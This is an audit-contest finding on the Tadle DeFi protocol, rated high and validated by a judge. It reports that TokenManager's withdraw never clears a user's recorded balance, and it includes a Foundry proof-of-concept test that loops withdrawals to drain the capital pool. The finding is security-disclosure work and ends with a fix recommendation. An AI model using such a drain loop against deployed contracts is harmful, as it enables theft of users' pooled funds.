Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

User can drain entire capital pool balance due to failure to update token balance after withdrawal

Summary

Capital pool can be drained entirely by a malicious user

Vulnerability Details
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137

The tokenManager's withdraw function allows a user to withdraw their accumulated tokenBalance of a token from the capital pool. This function however fails to update the user's token amount mapping after withdrawal, therefore allowing a user to repeatedly withdraw from the pool till the pool's entire balance is drained

function testDrainCapitalPool() public {
//...prerequisite actions to give user withdrawable balance
TokenBalanceType tbt = TokenBalanceType.ReferralBonus;
uint256 expectedReward = tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), tbt);
console2.log("capital pool balance before:");
console2.log(mockUSDCToken.balanceOf(address(capitalPool)));
console2.log("User balance before:");
console2.log(mockUSDCToken.balanceOf(user));
uint256 balBefore = mockUSDCToken.balanceOf(user);
capitalPool.approve(address(mockUSDCToken));
vm.startPrank(user);
//repeatedly withdraw till pool is drained to a considerable extent;
while (mockUSDCToken.balanceOf(address(capitalPool)) >= expectedReward) {
tokenManager.withdraw(address(mockUSDCToken), tbt);
}
console2.log("capital pool balance after:");
console2.log(mockUSDCToken.balanceOf(address(capitalPool)));
console2.log("User balance after:");
console2.log(mockUSDCToken.balanceOf(user));
console2.log("User gained:");
console2.log(mockUSDCToken.balanceOf(user) - balBefore);
}

The above POC shows how a malicious user can completely drain the capital Pool of any/all tokens by looping the withdrawal.

Tools Used

Manual Review

Recommendations

Update user token balances in the **userTokenBalanceMap **after each withdrawal

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.